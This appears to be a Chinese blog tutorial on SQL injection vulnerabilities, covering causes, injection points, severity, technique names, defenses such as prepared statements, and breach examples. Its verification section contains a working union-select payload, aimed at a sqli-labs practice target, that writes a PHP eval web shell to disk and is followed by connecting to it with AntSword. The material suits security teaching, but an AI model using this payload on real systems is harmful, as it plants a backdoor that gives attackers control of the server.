SQL 注入漏洞详解

SQL 注入漏洞详解

漏洞描述

sql注入漏洞是指恶意用户在应用与数据库交互的地方利用非法的操作获取数据库内容从以下两点分析:

  • 没有对用户输入的数据进行充分的过滤和验证,导致一些用户利用此漏洞向数据库插入恶意sql语句非法请求数据库从而获得一些敏感数据
  • 在与数据库交时未对用户可控参数进行足够的过滤,便将参数内容拼接到SOL 语句中,修改原有的sql语句逻辑,从而对数据库进行非法操作。

漏洞原理

通常在与数据库交互的地方,开发人员在处理和数据库交互时,未设置充足的过滤与验证或没对用户输入的参数进行控制时,非法用户利用漏洞,打破原有的sql语句,篡改原有语句的逻辑,从而使得数据库执行被篡改的sql语句,请求非正常授权内容。严重导致数据库数据泄露,数据篡改等

漏洞场景

sql注入漏洞一般存在于与数据交互的地方,例如:

  • url参数传递
  • 表单提交
  • 搜索框
  • http头文件
    • cookie
    • User-Agent
    • Referer

漏洞评级

漏洞等级:高危

漏洞危害

SQL注入漏洞可能会导致严重的安全问题,其中包括

  • 数据库数据泄露
  • 数据库篡改
  • 拒绝服务
  • 数据库信息丢失
  • 如果数据库权限分配不当或本身就存在缺陷,那么攻击者就会通过该漏洞直接获取webshell或服务器权限

漏洞验证

联合查询时使用into outfile函数进行文件上传

回显位写入一句话木马 最后加上函数和要上传的绝对路径

sql 复制代码
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

文件上传成功使用密码777进行连接测试phpinfo

打开蚁剑进行连接

漏洞利用

  1. 五大注入手法
  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  1. 其他注入
  • 宽字节注入
  • HTTP头部注入
    • cookie注入
    • User-Agent注入
    • Base64注入
    • Referer注入
  • OOB 注入

防御方案

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

典型案例

2008年,Heartland Payment Systems公司遭受了一次SQL注入攻击,导致超过1300万张信用卡信息被窃取。攻击者利用了Heartland Payment Systems公司的网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了信用卡信息。

2015年,美国联邦政府办公室人事管理局遭受了一次SQL注入攻击,导致超过2100万名联邦雇员的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了个人信息。

2016年,菲律宾选举委员会遭受了一次SQL注入攻击,导致超过550万名选民的个人信息被窃取。攻击者利用了该机构网站上存在的SQL注入漏洞,注入了恶意代码,从而获取了选民的个人信息。

这些案例表明,SQL注入漏洞是一种非常严重的安全威胁,可以导致大量敏感数据被窃取。因此,开发人员和网站管理员需要认真对待SQL注入漏洞,采取必要的措施来防范和修复这种漏洞。

相关推荐
不爱学习的啊Biao7 分钟前
【13】MySQL如何选择合适的索引?
android·数据库·mysql
破 风17 分钟前
SpringBoot 集成 MongoDB
数据库·mongodb
Rverdoser25 分钟前
MySQL-MVCC(多版本并发控制)
数据库·mysql
m0_7482336433 分钟前
SQL数组常用函数记录(Map篇)
java·数据库·sql
dowhileprogramming37 分钟前
Python 中的迭代器
linux·数据库·python
0zxm2 小时前
08 Django - Django媒体文件&静态文件&文件上传
数据库·后端·python·django·sqlite
黑客老陈3 小时前
面试经验分享 | 北京渗透测试岗位
运维·服务器·经验分享·安全·web安全·面试·职场和发展
Minxinbb6 小时前
MySQL中Performance Schema库的详解(上)
数据库·mysql·dba
mmsx7 小时前
android sqlite 数据库简单封装示例(java)
android·java·数据库
zpjing~.~8 小时前
Mongo 分页判断是否有下一页
数据库